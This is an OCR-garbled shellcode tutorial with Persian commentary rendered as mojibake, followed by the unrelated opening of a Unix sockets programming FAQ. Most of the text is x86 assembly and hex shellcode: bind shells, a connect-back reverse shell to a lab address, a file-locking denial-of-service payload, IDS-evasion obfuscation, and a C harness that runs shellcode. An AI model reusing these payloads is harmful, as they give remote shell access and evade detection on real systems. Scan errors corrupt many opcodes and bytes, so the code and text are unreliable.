[esi + 29], Oxa
[esi + 30], al
ebx, [esi + 15]
[esi + 31], ebx
al, 5

ebx, [esi]

cx, 1090

dx, 744q

0x80

ebx, eax

al, 4

ecx, [esi + 31]
dx, 15

0x80

al, 6

0x80

al, 0x01

ebx, ebx

0x80

doi t

"/tnp/ owned. t xt #

term nate /tnp/hacked. t xt

Oxa == new i ne

terminate niels was here

get address

put the address of niels--here in

t he syscall
argument #1
1024 (append) + 64 (create if no

open() =5

if we need to create, these are the

kernel int

get the descriptor
the |l ocation of our data
the size of our data
kernel interrupt
the close syscall =6
clozzzz

exit system cal
cl ean up

and bail out

"niels was here #xxxx

generate the foll ow ng shell code:

sh-2.04% ../../../process open shell code

Calling code ..

bash-2. 05% cat shel |l code

char shel | code[]
"\ xeb\

8\ x5e\ x31\ xc0\ x88\ x46\ x0e\ xc6\ x46\ x1d\ xOa\ x88\ x46\ x1le"

"\ x8d\/x5e\ xO0f \ x89\ x5e\ x1f \ xb0\ x05\ x8d\ x1e\ x66\ xb9\ x42\ x04\ x66"

xed\ x01\ xcd\ x80\ x89\ xc3\ xb0\ x04\ x8b\ x4e\ x1f \ x66\ xba\ xOf "

"\ x00\ xcd\ x80\ xb0O\ x06\ xcd\ x80\ xbO\ x01\ x31\ xdb\ xcd\ x80\ xe8\ xc3"
"\ xf PN XFF\ X\ x2f\ x74\ x6d\ x70\ x2f \ x6f \ x77\ x6e\ x65\ x64\ x2e\ x74"
"\ x78\ x74\ x23\ x6e\ x69\ x65\ x6¢c\ x73\ x20\ x77\ x61\ x73\ x20\ x68\ x65"
"\ x72\ x65\ x20\ x23\ x78\ x78\ x78\ x78";

bash- 2. 05%$



shellcode ol Gl 2l 015 5929 Of 55 W wyli NULL 1S (sw 0asline aS jghilos
d ol NULL wanl 39>¢s wde ay ndisasm ;I oslawl U awly woww oslacwl L8

P Y
bash- 2. 04$ ndi sasm open
00000000 EB38 jmp short Ox3a
00000002 5E pop s
00000003 31C0 X0r ax, ax
00000005 88460E mov [ bp+0xe], al
00000008 C6461D0A nov byte [bp+0x1d], Oxa
0000000C 88461E nov [ bp+0xle], a
0000000F 8D5EOF | ea bx, [ bp+0xf]
00000012 895E1F mov [ bp+0x1f], bx
00000015 BO0O5 nov al, Ox5
00000017 8D1E66B9 | ea bx, [ 0xb966]
0000001B 42 i nc dx
0000001C 0466 add al , 0x66
0000001E BAE401 nov dx, Oxle4
00000021 CD80O int 0x80
00000023 89C3 mov bx, ax
00000025 BOO4 nov al , Ox4
00000027 8B4E1F nov cX, [ bp+Ox1f]
0000002A 66BA0OFO0CD80 nov edx, 0x80cd000f <-- beh ! WW!
00000030 BO0O0O6 nov al , Ox6
00000032 CD80 int 0x80
00000034 BOO1 nov al, Ox1
00000036 31DB xor bx, bx
00000038 CD80 int 0x80
0000003A EBC3FF cal |l 0xO
0000003D FF db OxFF
0000003E FF2F jmp far [bx]
00000040 746D j z Oxaf
00000042 702F jo 0x73
00000044 6F out sw
00000045 776E ja 0xb5
00000047 65642E7478 cs jz Oxc4
0000004C 7423 jz O0x71
0000004E 6E out sb
0000004F 69656C7320 i mul sp, [di+0x6c], 0x2073
00000054 7761 ja 0xb7
00000056 7320 jnc 0x78
00000058 686572 push word 0x7265
0000005B 652023 and [ gs: bp+di], ah
0000005E 7878 js 0xd8
00000060 7878 j s Oxda

ooy Sy b aS awd uld wil slaw aliwn uawepd i U aS ghilosd
Caowl 000 Ao ool Vil 39>gs el pul 05,5 oslasiwl

mov dx, 15
oS s J> a8 5 ol 5l eslaiwl U 5w | JSsie ol bo

nmv dx, 9995 ; Atrick to get 15 in dx without getting null bytes



sub dx, 9980

9 ol ol 511, 9980 9 0us,S 0,3 |, 9995- dx L5 o § s ax o 38y ol wlgs
d 28,0 g95 ol 00,8515 ulu I, dX~k_ulJ NULL adgi U u wigo ol U pus)S asiinio
Sl oduzy S SSS 9 2385 dwl adlgs> cowy oS oS OBl a4, Gl a4 asgi b
Ol ol oslell Byl w08 9 B 8 )i Guod Lbl 4 cowl e LB (ol O >
Slicwles 31— 25)ls &l ojug S adMe Ol 4 sSlio MS Sl Sa aS el Gl adaw
L8 a9 58 5L 3> o)ls auS s o> MBR  ogas> 44 9 RAM 9CPU sl «iLl, s

Cobly adleR (sduoowl UL S,8

char shell code[] =

"\ xeb\ x39\ x5e\ x31\ xc0\ x88\ x46\ x0e\ x88\ x46\ x1e\ x8d\ x5e\ x0Of \ x89"
"\ x5e\ x1f \ xb0\ x05\ x8d\ x1e\ x66\ xb9\ x42\ x04\ x66\ xba\ xe4\ x01\ xcd"
"\ x80\ x89\ xc3\ xb0\ x04\ x8b\ x4e\ x1f \ x66\ xba\ xOb\ x27\ x66\ x81\ xea"
"\ xf c\ x26\ xcd\ x80\ xbO\ x06\ xcd\ x80\ xb0O\ x01\ x31\ xdb\ xcd\ x80\ xe8"
"\ xc2\ xff\ xff\xff\x2f\x74\ x6d\ x70\ x2f \ x6f\ x77\ x6e\ x65\ x64\ x2e"
"\ x74\ x78\ x74\ x23\ x6e\ x69\ x65\ x6¢\ x73\ x20\ x77\ x61\ x73\ x20\ x68"
"\ x65\ x72\ x65\ x20\ x23\ x78\ x78\ x78\ x78";

— Cowl oslawl 8 weiSl pd shellcode ¢ wwl aid; w5l ol NULL aS auww (sw
@ oot W wusliawsS] pusgw 5l S)loan 53 aS 1wl oxel i Vluly Jlsw ol uLa
aS 2wl 3005 <ol NULL 5929 51 a6l sawygw 55 SS| apjezs v @ wolb NULL ol
aS suld S el cowd Guses gloil 5305 51 VU S loww cuslowST ol s Uas Jloss
aS il ol Cuwlbws diwe (ul Sgy p pinils wudled il U diuos ol 55 o0
L, aauds ol Csowygaw > )§| o ool pales ol 5l e a4 wliulad shellcode
, 88 ohlpo U cugliwsS! Ol odicuugs aS anil wly s ¢ul U 1us,S sadliw
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BI TS 32

jmp short callit

doi t:

pop esi

xor ebx, ebx ; Make sure the registers we use

xor eax, eax ; are clean

nmov eax, 0x2 ; Ox2 is fork(). This function returns

int 0x80 ; A process IDto the parent and a 0 to the
; child process. W can test on this and |et

t est eax, eax ; the parent process exit. This is an inportant

jnz exit ; test which can be crucial with forking bind
; shellcode. (man fork)

xor eax, eax

nmov [esi + 12],al ; Term nate /etc/aliases

nov ecx, eax ; ecx =0

nmov ebx, esi ; The ebx register will contain the

nov al,5 ; location of our data which is 'esi

i nt 0x80 ; we open() the file and safe the returned

xor ebx, ebx ; file descriptor in ebx after cleaning this

nov ebx, eax ; register with xor

nmov cl, 0x2 ; W& want an excl usively | ock

nmov al , 143 ;o flock()

i nt 0x80 ; call kernel and nake the lock a fact

sub cl, 0x3 ; Start a infinite | oop to nake sure

| 00p: ; that sendmail cannot access the file

js | 00p

callit:

cal | doi t

db "letc/aliases

exit: ; Exit will get called in the parent process

xor eax, eax ; This is not really needed | guess you can just

nmov al, 1 ; let it crash to safe space ;-)

int 0x80 ; Execute !! ;-))

FreeBSD Jwle piwssw port binding sl shellcode &
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Wi |l e port binding shellcode | ooks very complex, it isn't really that hard to wite it.
It very much |like the above exanple, several systemcalls on a row fromwhich sone are
using information that was returned fromanother (I introduced this in the above
exanpl e) .
When witing a bit nore conplex code it can help if you first wite it in c. In our case
just ripped the c source of the port binding shellcode that Taeho Ch wote for his
shel | code
docunment and made some minor changes to it. The assenbly code generated fromthis c
source is

of course honbrewn and works |ike a charm on FreeBSD
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#i ncl ude<uni st d. h>
#i ncl ude<sys/ socket . h>
#i ncl ude<netinet/in. h>

int soc,cli;
struct sockaddr _in serv_addr;

int main()

i f(fork()==0)
{

serv_addr. sin_fam | y=2;

serv_addr. si n_addr. s_addr =0;

serv_addr. si n_port =0xAAAA;

soc=socket (2,1, 6);

bi nd(soc, (struct sockaddr *)&serv_addr, 0x10);
listen(soc, 1);

cli =accept (soc, 0, 0);

dup2(cli, 0);
dup2(cli, 1);
dup2(cli, 2);
execve("/bin/sh",0,0);
}
The assenbly code | generated fromthis C source:
BI TS 32
jmp short callit
doit:
pop esi
xor eax, eax
mov byte [esi + 7], al ; Terminate the /bin/sh string
nov al, 2 ; The fork() systemcall
i nt 0x80 ; We call the kernel to fork us.
Next code:
socket (2, 1, 6)
push byte 0x06 ; The 3e argunent
push byte 0x01 ; The 2e argunent
push byte 0x02 ; The le argunent
nov al , 97 ; The systemcall nunber
push eax ;

int 0x80 ; And call the kernel

Next code: bind(soc, (struct sockaddr
*) &serv_addr, 0x10);

nmov edx, eax ; We store the file descriptor that was returned
from socket () in edx

xor eax, eax ; Now we will create the sockaddr_in structure

nov byte [esi + 9], 0x02 ; This equals: serv_addr.sin_famly=2

mov wor d [esi + 10], OXAAAA ; This equal s: serv_addr.sin_port=0xAAAA

nmov | ong [esi + 12], eax ; This equal s: serv_addr. sin_addr.s_addr=0

push byte 0x10 ; W& now start with pushing the arguments, 0x10 is
the 3e one.

| ea eax, [esi + 8] ; Get the address of our structure, arg 2 of bind()
is a pointer.

push eax ; And push it on the stack, our second argument is
a fact

push edx ; And we push the last argunent, the file
descriptor, on the stack

xor eax, eax ; Cean up

nov al , 104 ; Systemcall 104 represents bind.

push eax ;

int 0x80 ; And call the kernel

; Next code: listen(soc,1);



push byte 0x1
push edx
in the edx register

xor eax, eax
nov al , 106
push eax

i nt 0x80
xor eax, eax
push eax
push eax
push edx

our socket

nov al , 30
push eax

int 0x80
dup2(cli, 2)

smal | er code

nov cl,3
nmov ebx, -1
=3;i>0;i--) { dup(cli, ++b) };
nov edx, eax
edx.

1 00p

inc ebx
push ebx

the | ast argunent

push edx
from accept ()

nov al , 90
push eax

i nt 0x80
sub cl

jnz 100p

xor eax, eax
push eax
push eax
push esi

/ bi n/ sh

nov al , 59
push eax

i nt 0x80
callit:

cal | doi t

db '/ bin/sh

And again the nobst inportant part,

char shellcode[] =

We push the first argunent on the stack
We push the filedescriptor that is still stored

Cl eanup
System cal |l 106 represents |listen

And call the kerne

Next code: accept (soc, 0, 0)

We need zero's for the argunents

Push the last argunent, a zero

Push the second argunent, another zero

Push the first argunent, the file descriptor of
Define the systemcall we like to use, accept()
And call the kernel to process our data

Next code: dup2(cli,0) , dup2(cli,1) and

W will do this in a loop since this creates

Define our counter = 3
The C code for our loop is: b = -1; for(int

We store the file descriptor fromaccept() in
The | oop code starts here

This is the instead of the ++b code

We push this value first because it represents
We push the second argunent, the file descriptor
We define the system cal

And call the kernel to execute

Substract 1 fromc

This will continue the loop if cl =0

Next the execve of /bin/sh

First we create sone zero's

The 3e argument == NULL

So is the second

The first argunent is a pointer to our string

We define the systemcall, execve

And execut e

the result

"\ xeb\ x6a\ x5e\ x31\ xc0\ x31\ xdb\ x88\ x46\ x07\ xbO\ x02\ xcd\ x80\ x6a"
"\ x06\ x6a\ x01\ x6a\ x02\ xb0\ x61\ x50\ xcd\ x80\ x89\ xc2\ x31\ xcO\ xc6"
"\ x46\ x09\ x02\ x66\ xc7\ x46\ x0a\ xaa\ xaa\ x89\ x46\ xOc\ x6a\ x10\ x8d"
"\ x46\ x08\ x50\ x52\ x31\ xc0\ xb0\ x68\ x50\ xcd\ x80\ x6a\ x01\ x52\ x31"
"\ xc0\ xb0\ x6a\ x50\ xcd\ x80\ x31\ xcO\ x50\ x50\ x52\ xbO\ x1e\ x50\ xcd"
"\ x80\ xb1\ x03\ xbb\ xf f\ xf f\ xff\xff\x89\ xc2\ x43\ x53\ x52\ xb0\ x5a"
"\ x50\ xcd\ x80\ x80\ xe9\ x01\ x75\ xf 3\ x31\ xcO\ x50\ x50\ x56\ xb0O\ x3b"
"\ x50\ xcd\ x80\ xe8\ x91\ xf f\ xff\ xff\x2f\x62\ x69\ x6e\ x2f\ x73\ x68"

umSgi Jole piswssw port binding Sl shellcode

Li nux socket code is a bit different then the BSD one. The problemis that |inux

has one socket system cal

that can be used to query other socket functions (an APIl)



This systemcall is called 'socketcall' and is executed with two argunents. The first
argunent is a nunber that represent a socket function (such as listen()). The second
argunent is a pointer to an array that contains the argunent that have to be given to

the by the first argunment defined function.. ;-) Not very useful for shell code
devel oprent .
Socketcall is called like this

socket cal | (<functi on nunber>, <argunents for that function>)
Bel ow are the avail abl e function nunbers
SYS_SOCKET 1

SYS_BI ND 2

SYS_CONNECT 3

SYS_LI STEN 4

SYS_ACCEPT 5

SYS_GETSOCKNAME 6

SYS_GETPEERNAME 7

SYS_SOCKETPAIR 8

SYS_SEND 9

SYS_RECV 10

SYS_SENDTO 11

SYS_RECVFROM 12

SYS_SHUTDOWN 13

SYS_SETSOCKOPT 14

SYS_GETSOCKOPT 15

SYS_SENDMVSG 16
SYS_RECVMSG 17
And of course the inplenmentation
BI TS 32
xor eax, eax ; NULL eax
inc eax ; eax represents 1 now
nmov | ong [esi +12], eax
nmov ebx, eax
inc eax
nmov | ong [esi +8], eax
add al , 0x04
mov | ong [esi +16], eax
| ea ecx, [esi +8]
nov al, 102 ; 102 == socket cal
int 0x80 ; call the kerne
nmov edx, eax ; store the file descriptor in edx
xor eax, eax 7 Null eax
; Now | ets make the serv_addr struct
nmov byt e [esi + 8], 0x02 ; This equals: serv_addr.sin_famly=2
mov wor d [esi + 10], OXAAAA ; This equal s: serv_addr. sin_port=0xAAAA
nov | ong [esi + 12], eax ; This equal s: serv_addr.sin_addr.s_addr=0
nov | ong [esi + 17], edx ; edx the file descriptor
| ea ecx, [esi + 8] ; load effective address of the struct
mov | ong [esi + 21], ecx ; and store it in [esi + 21]
inc ebx
nov ecx, ebx
add cl, 14
nmov | ong [esi + 25], ecx
| ea ecx, [esi +17]
nov al , 102
int 0x80
nmov al , 102
inc ebx
i nc ebx
int 0x80
xor eax, eax
inc ebx
nov | ong [esi + 21], eax
nmov | ong [esi + 25], eax
nmov al , 102
i nt 0x80
nmov ebx, eax ; Save the file descriptor in ebx
xor eax, eax ; NULL eax

nmov | ong [esi + 12], eax



nov ecx, eax ; 0 == stdin

Fromhere it is just a matter of

nov al , 63 ;. dub2()
int 0x80 ; Call kerne
inc ecx ;1 == stdout
nov al , 63 ; dub2()
int 0x80 ; Call kerne
inc ecx ; 2 == stderr
nmv al , 63 ; dub2()
int 0x80 ; Call kerne
jmp short callit ; executing a shell (/bin/bash)
doi t:
pop es
xor eax, eax
nov byt e [esi + 9], a
| ea ebx, [esi]
nov | ong [esi + 11], ebx
nmov | ong [esi + 15], eax
mov byte al , 0x0b
nov ebx, es
| ea ecx, [esi + 11]
| ea edx, [esi + 15]
i nt 0x80
callit
cal | doi t
db '/ bi n/ bash'
BSD ,» bli,l S,1,9, 09> @ bgs o shellcode
In this exanple we will see how to create shellcode that creates a shell, which connects
back to a host you control. You'll be able to catch the shell by using a tool such as
net cat .
In this shellcode you will have to hardcode an | P address to connect to. It is also
possi bl e

to add this ip address at the runtinme of the exploit (which is a good idea). Please
remenber

to convert the |P address ! for testing puposes the assenbly and shell code bel ow wi | |
connect

to 10.6.12.33 (an machine in nmy tiny test |ab) on port 43690. Wthin the code this IP
addr ess

is converted to: 0x210c060a . You can obtain this hex value pretty easily with perl:

su-2. 05a# perl -e 'printf "Ox" . "9%92x"x4 ."\n",33,12,6, 10
0x210c060a

Just nmake sure you reverse the |P address like | did with 10.6.12.33. The C code on which
t he

assenbly is based

#i ncl ude<uni std. h>

#i ncl ude<sys/ socket . h>

#i ncl ude<netinet/in. h>

int soc,rc
struct sockaddr _in serv_addr

int main()

serv_addr.sin_fam|y=2
serv_addr. si n_addr. s_addr =0x210c060a
serv_addr. si n_port =0xAAAA; /* port 43690 */
soc=socket (2,1, 6);

rc = connect(soc, (struct sockaddr *)&serv_addr, 0x10)
dup2(soc, 0);

dup2(soc, 1)

dup2(soc, 2)



execve("/bin/sh",0,0);

And the assenbly inpl enentation:

BI TS 32
jmp short callit
doit:
pop esi
xor eax, eax
nov byte [esi + 7], al

Next code:
socket (2, 1, 6)
push byte 0x06 ; The 3e argunent
push byte 0x01 ; The 2e argunent
push byte 0x02 ; The le argunent
nov al , 97 ; The systemcall nunber
push eax ;

int 0x80 ; And call the kernel

Next code: connect(soc, (struct sockaddr
*) &serv_addr, 0x10) ;

nmov edx, eax ; We store the file descriptor that was returned
from socket () in edx

xor eax, eax ; Now we will create the sockaddr_in structure

nov byte [esi + 9], 0x02 ; This equals: serv_addr.sin_famly=2

nmov wor d [esi + 10], OXAAAA ; This equal s: serv_addr.sin_port=0xAAAA /* port
43690 */

mov | ong [esi + 12],0x210c060a ; This equal s: serv_addr.sin_addr.s_addr=0x210c060a
push byte 0x10 ; W now start with pushing the argunents, 0x10 is
the 3e one.

| ea eax, [esi + 8] ; CGet the address of our structure, arg 2 of bind()
is a pointer.

push eax ; And push it on the stack, our second argunent is
a fact

push edx ; And we push the last argunent, the file
descriptor, on the stack

xor eax, eax ; Clean up

nov al , 98 ; Systemcall 98 represents connect.

push eax ;

i nt 0x80 ; And call the kernel

; Next code: dup2(cli,O) , dup2(cli,1) and
dup2(cli, 2)
W will do this in a loop since this creates
smal | er code.
nov cl,3 ; Define our counter = 3
nov ebx, -1 ; The C code for our loop is: b =-1; for(int i
=3;i>0;i--) { dup(cli, ++b) };

| 00p: ; The | oop code starts here.

inc ebx ; This is the instead of the ++b code

push ebx ; We push this value first because it represents
the | ast argunent

push edx ; We push the second argunent, the file descriptor
from accept ()

nov al , 90 ; W define the systemcall

push eax ;

int 0x80 ; And call the kernel to execute

sub cl, 1 ; Substract 1 fromcl

jnz 100p ; This will continue the loop if cl !=0

Next the execve of /bin/sh

xor eax, eax First we create sone zero's

push eax The 3e argument == NULL

push eax So is the second

push esi The first argunent is a pointer to our string
/ bi n/ sh

nmov al , 59 ; We define the systemcall, execve.

push eax ;

int 0x80 And execut e



callit:

cal | doi t

db "/ bin/ sh'

Shel | code generated fromthis assenbly code will look like this. | have nade the |IP
address bold so

you' Il known where to search for it if you need to change/it.

char shellcode[] =
"\ xeb\ x52\ x5e\ x31\ xcO\ x88\ x46\ x07\ x6a\ x06\ x6a\ x@1\ x6a\ x02\ xb0*"
"\ x61\ x50\ xcd\ x80\ x89\ xc2\ x31\ xcO\ xc6\ x46\ x09\ 02\ x66\ xc7\ x46"
"\ x0a\ xaa\ xaa\ xc7\ x46\ x0c\ x0a\ x06\ x0c\ x21\ x6a\/x10\ x8d\ x46\ x08"
"\ x50\ x52\ x31\ xc0\ xb0\ x62\ x50\ xcd\ x80\ xb1\ xOP xbb\ xf f\ xf f\ xff"
"\ xf f\x43\ x53\ x52\ xb0\ x5a\ x50\ xcd\ x80\ x80\ xe9\ x01\ x75\ xf 3\ x31"
"\ xcO0\ x50\ x50\ x56\ xb0\ x3b\ x50\ xcd\ x80\ xe8\ xa9\ xf f\ xf f\ xff\x2f"
"\ x62\ x69\ x6e\ x2f \ x73\ x68";

shellcode wabw 5> A9, di>

In sone cases the buffer that causes the overflow is nanipul ated by the vul nerabl e
program Thi s happens nore often then you mi ght think and nakes exploiting overfl ows

more difficult and often nore fun !'. For exanple many progranms filter dots and sl ashes.
Ch ny GOD !'! isn't there sonmething we can do about this ? yes there is ;-) W can use
the almghty 'inc' operator to increase the hex value of our ascii character. Bel ow

is a sinple exanple that illustrates howto do this but first a part fromliIntel's
description

of 'inc'.

Adds 1 to the destination operand, while preserving the state of the CF flag. The
destination operand can be a register or a menory | ocation.

Now an exanple in howto do this. Let's say we have the string:

db ' ABCD

We can change B in to a C by using:

inc byte [esi + 2]

So what this does is the hex value of B is changed from42 to 43 which represents C
A wor ki ng exanpl e of the assenbly code required to do this:

BI TS 32

jmp short callit

doi t:

pop esi

xor eax, eax

nov byte [esi + 7], al

nov byte [esi + 10], al

nmov | ong [esi + 11], esi

| ea ebx, [esi + 8]

mov | ong [esi + 15], ebx

nmov | ong [esi + 19], eax

inc byte [esi] ; Now we have /bin.sh
inc byte [esi + 4] ; Now we have /bin/sh
nmov byte al , 0x0b

nov ebx, esi

| ea ecx, [esi + 11]

| ea edx, [esi + 19]

int 0x80

callit:

call doi t



db ' . bi n. sh#-i #AAAABBBBCCCC

This can al so be done to obfuscate parts of shellcode that m ght trigger

I DS signatures. Incstructions such as ADD, SUB I NC and DEC can be usefu
for this. By using a | oop you can recover strings at run tine and by
doing so you might be able get undetected by an IDS or atleast, |ower the
ri sk of detection. Have a | ook at the follow ng exanpl e

BI TS 32

jmp short callit

doit:

pop es

xor eax, eax

nmov byte [esi + 7], a

| ea ebx, [esi]

nmov | ong [esi + 8], ebx

nov | ong [esi + 12], eax

nmov cl,7 ; The | oop begins here, we will loop 7 tines
change

dec byte [esi + ecx - 1] ; Change the byte on the right |ocation
sub cl, 1 ; Update the counter 'cl

j nz change ; Verify if we should break the | oop
nov byte al , 0x0b

nov ebx, esi

| ea ecx, [esi + 8]

| ea edx, [esi + 12]

int 0x80

callit:

cal | doi t

db ' Ocj o0t i #AAAABBBB'

The extra -1 in the line "dec byte [esi + ecx - 1 ]" is to make sure we

al s change the byte [esi + 0]. The above assenbly code will generate shel
code that changes the string '0OcjoOti' to '/bin/sh' and which will then do
an execve of it. The end result (after removing the #AAAABBB chars) wll be

char shellcode[] =

"\ xeb\ x25\ x5e\ x31\ xcO\ x88\ x46\ x07\ x8d\ x1e\ x89\ x5e\ x08\ x89\ x46"

"\ x0c\ xb1\ x07\ xf e\ x4c\ x0e\ xf f\ x80\ xe9\ x01\ x75\ xf 7\ xbO\ xOb\ x89"

"\ xf 3\ x8d\ x4e\ x08\ x8d\ x56\ x0c\ xcd\ x80\ xe8\ xd6\ xf f\ xf f\ xff\x30"

"\ x63\ x6a\ x6f\ x30\ x74\ x69";
A nice FreeBSD exanple to hide the /bin/sh string in sinple execve shell code
BI TS 32

nmov byte [esi + 5],0x73 \\
mov byte [esi + 1], 0x62

nov byt e [esi], Ox2f

xor eax, eax

nmov byte [esi + 7], a

mov byte [esi + 2], 0x69

push eax >>
nmov byte [esi + 6], 0x68

push eax

nmov byte [esi + 4], Ox2f

push esi

nov byte [esi + 3], 0x6e

nov al , 59

push eax —/



int 0x80
So the string /bin/sh is build character for character and not in the correct
order. This will make it very hard for IDS's to detect the existance of the string
By creating an exploit that would shift the bold made code during execution you
could make it extra hard to detect.
char shellcode[] =

"\ xc6\ x46\ x05\ x73\ xc6\ x46\ x01\ x62\ xc6\ x06\ x2f \ x31\ xcO\ x88\ x46"

"\ x07\ xc6\ x46\ x02\ x69\ x50\ xc6\ x46\ x06\ x68\ x50\ xc6\ x46\ x04\ x2f "

"\ x56\ xc6\ x46\ x03\ x6e\ xb0\ x3b\ x50\ xcd\ x80"
A nore advanced nethod to obfuscate your code is by encoding the shell code and decodi ng
it at run tinme. Wiile this seens very hard to do, trust ne it is not. If you want to
encode
shel |l code the best way to do this is with some help froma sinple c program More
information
on doing that will be released in another document on safenode. org
O course these are just sinples exanple of obfuscating code. It work nice but isn't
really efficient. If you are really interested in this stuff, have a |ook at K2's
work at: http://ww.ktwo.cal/security. htnl.

Trace system calls to debug assembly code:

When you assenbly code doesn't work, don't give up because tools such as
ptrace and ktrace can help you allot ! They can show you the exact argunents
that are given to a systemcall, whether the systemcall was successful and if
any val ue was returned
For exanple, if the FreeBSD connect shellcode fails, you can see why! Just work
like this:
ktrace ./s-proc -e <conpiled connect assenbly code>
kdunmp | nore
snip snip snip

1830 process RET wite 17/0x11

1830 process CALL socket (0x2, 0x1, 0x6)

1830 process RET socket 3

1830 process CALL connect (0x3, 0x804b061, 0x10)

1830 process RET connect -1 errno 61 Connection refused
Aha ! Connection refused.
If you are devel oping on linux then strace is defenitly your best friend ;-)

Di sassenbl i ng shel |l code

If you want to see how soneone el se create shellcode there are very sinple ways to

di sassenbl e

it. Wat | normally use is a small perl script that wites the shellcode to a file. For
exanmple, if

I would like to get the assenbly of the followi ng shell code

char shellcode[] =
"\ x5e\ x31\ xc0\ xb0\ x24\ xcd\ x80\ xb0\ x24\ xcd\ x80\ xbO\ x58\ xbb\ xad"
"\ xde\ xel\ xf e\ xb9\ x69\ x19\ x12\ x28\ xba\ x67\ x45\ x23\ x01\ xcd\ x80"

I just put it in a perl script like this

#!/usr/bin/perl -w

$shel | code =
"\ x5e\ x31\ xc0\ xb0\ x24\ xcd\ x80\ xb0\ x24\ xcd\ x80\ xbO\ x58\ xbb\ xad"
"\ xde\ xel\ xf e\ xb9\ x69\ x19\ x12\ x28\ xba\ x67\ x45\ x23\ x01\ xcd\ x80"

open( Fl LE, ">shell code. bi n")
print FILE "$shel | code";
cl ose(FILE);

| saved the file as ww pl and di sassenbled it:

[10: 50pm | appie] ./ww. pl


http://www.ktwo.ca/security.html

[10: 50pm | appi €] ndi sasm -b 32 shel |l code. bin

00000000 5E pop esi
00000001 31C0 Xor eax, eax
00000003 B024 mov al , 0x24
00000005 CD80 int 0x80
00000007 B024 nov al , 0x24
00000009 CD8O int 0x80
0000000B BO058 mov al , 0x58
0000000D BBADDEE1FE nmov ebx, Oxf eeldead
00000012 B969191228 nov ecx, 0x28121969
00000017 BA67452301 nov edx, 0x1234567
0000001C CD80O int 0x80

Et voila, here is the assembly. Now it isreally easy to determine what kind of shellcode
thisis and what technique is being used.

Shellcode processing program:
/*
* Generic programfor testing shellcode byte arrays.
* Created by zillion and EVL
*
* Safenode.org !! Safenpde.org !!
*/

#i ncl ude <stdio. h>
#i ncl ude <stdlib. h>
#i ncl ude <sys/types. h>
#i ncl ude <sys/stat.h>
#i ncl ude <uni std. h>
#i ncl ude <errno. h>

/*
* Print nessage
*/
static void
croak(const char *nsg)
fprintf(stderr, "%\n", nsg);
fflush(stderr);

*

* Educate user.
*/
static void
usage(const char *prgnanm) {
fprintf(stderr, "\nExecute code : % -e <file-containing-shellcode>\n", prgnam;
fprintf(stderr, "Convert code : % -p <file-containing-shellcode> \n\n", prgnan);
fflush(stderr);

}
/

exit(1);
}
/*
* Signal error and bail out.
*/

static void
barf (const char *nsg) {
perror (nsg);

exit(1);

/*

* Main code starts here

*

/

i nt

mai n(int argc, char **argv) {
FI LE *fp;
voi d *code;
i nt arg;

int i



i nt I
int m= 15; /* nax # of bytes to print on one line */

struct stat sbuf;
| ong flen; /* Note: assune files are < 2**32 bytes long ;-) */
voi d (*fptr)(void);

if(argc < 3) usage(argv[0]);

if(stat(argv[2], &sbuf)) barf("failed to stat file");

flen = (long) sbuf.st_size;

if(!(code = malloc(flen))) barf("failed to grab required nenmeory");
if(!(fp = fopen(argv[2], "rb"))) barf("failed to open file");
if(fread(code, 1, flen, fp) !=flen) barf("failed to slurp file");
if(fclose(fp)) barf("failed to close file");

while ((arg = getopt (argc, argv, "e:p:")) !=-1){
switch (arg){
case 'e':
croak("Calling code ...");
fptr = (void (*)(void)) code;
(*fptr)();
br eak;
case 'p':
printf("\'n\nchar shellcode[] =\n");
I =m
for(i =0; i <flen; ++i) {
if(l >=m {

if(i) printf("\"\n");
printf( "\t\"");
| =0;

}

++ ;
printf("\\x%2x", ((unsigned char *)code)[i]);

printf("\";\n\n\n");

br eak;
defaul t :
usage(argv[0]);

return O;
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Frequently Asked Questions

Programm ng UNI X Sockets in C - Frequently Asked Questions
Created by Vic Metcalfe, Andrew G erth and other contributers
March 22, 1997

This is a list of frequently asked questions, with answers about pro-
granmming TCP/I P applications in unix with the sockets interface.
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1. General Infornmation and Concepts
1.1. About this FAQ

This FAQis maintained by Vic Metcalfe (vic@rutus.tlug.org), with

| ots of assistance from Andrew G erth (andrew@rl enst ar. denon. co. uk).

| am depending on the true wi zards to fill in the details, and correct
ny (no doubt) plentiful mstakes. The code exanples in this FAQ are
witten to be easy to follow and understand. It is up to the reader
to make themas efficient as required. | started this faq because
after readi ng conp. uni x. programrer for a short time, it becane evident
that a FAQ was needed.

The FAQ is available at the followi ng | ocations:

Usenet: (Posted on the 21st of each nonth)
news. answers, conp.answers, conp. uni X. answers,
conp. uni x. pr ogr amrer

FTP:
ftp://rtfmmt.edu/ pub/ usenet/ news. answer s/ uni x-f ag/ socket

WA
htt p: //ww. aur oraonl i ne. com sock-f aq
http://ki pper.york. ac. uk/ ~vi c/ sock-f aq

Pl ease email ne if you would like to correct or clarify an answer. |
woul d also like to hear fromyou if you would like nme to add a
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question to the list. | may not be able to answer it, but | can add
it in the hopes that soneone else will subnmit an answer. Every hour |
seemto be getting even busier, so if | amslowto respond to your

emai |, please be patient. |If nore than a week passes you may want to
send nme another one as | often put nmessages aside for |ater and then
forget about them 1'Il have to work on dealing with ny mail better,

but until then feel free to pester me a little bit.

1.2. Wwo is this FAQ for?

This FAQis for C programmers in the Unix environment. |t is not

i ntended for WnSock programrers, or for Perl, Java, etc. | have
not hi ng agai nst Wndows or Perl, but | had to linmt the scope of the
FAQ for the first draft. |In the future, | would really like to

provi de exanples for Perl, Java, and naybe others. For now though |
wi Il concentrate on correctness and conpl et eness for C

This version of the FAQw Il only cover sockets of the AF_INET famly,
since this is their nost commopn use. Coverage of other types of
sockets may be added | ater.

1.3. What are Sockets?

Sockets are just like "wormholes" in science fiction. Wen things go
into one end, they (should) cone out of the other. Different kinds of
sockets have different properties. Sockets are either connection-
oriented or connectionless. Connection-oriented sockets allow for
data to flow back and forth as needed, while connectionl ess sockets
(al so known as dat agram sockets) allow only one nmessage at a tine to
be transmitted, w thout an open connection. There are also different
socket families. The two nost common are AF_| NET for internet
connections, and AF_UNI X for unix |PC (interprocess comruni cation).

As stated earlier, this FAQ deals only with AF_I NET sockets.

1.4. How do Sockets Work?

The inmplenentation is left up to the vendor of your particul ar unix,
but fromthe point of view of the progranmer, connection-oriented
sockets work a lot like files, or pipes. The nost noticeable

di fference, once you have your file descriptor is that read() or
wite() calls may actually read or wite fewer bytes than requested.
If this happens, then you will have to nake a second call for the rest
of the data. There are exanples of this in the source code that
acconpani es the faq.

1.5. \Where can | get source code for the book [book title]?

Here is a list of the places | know to get source code for network
progranm ng books. It is very short, so please mail nme with any
ot hers you know of.
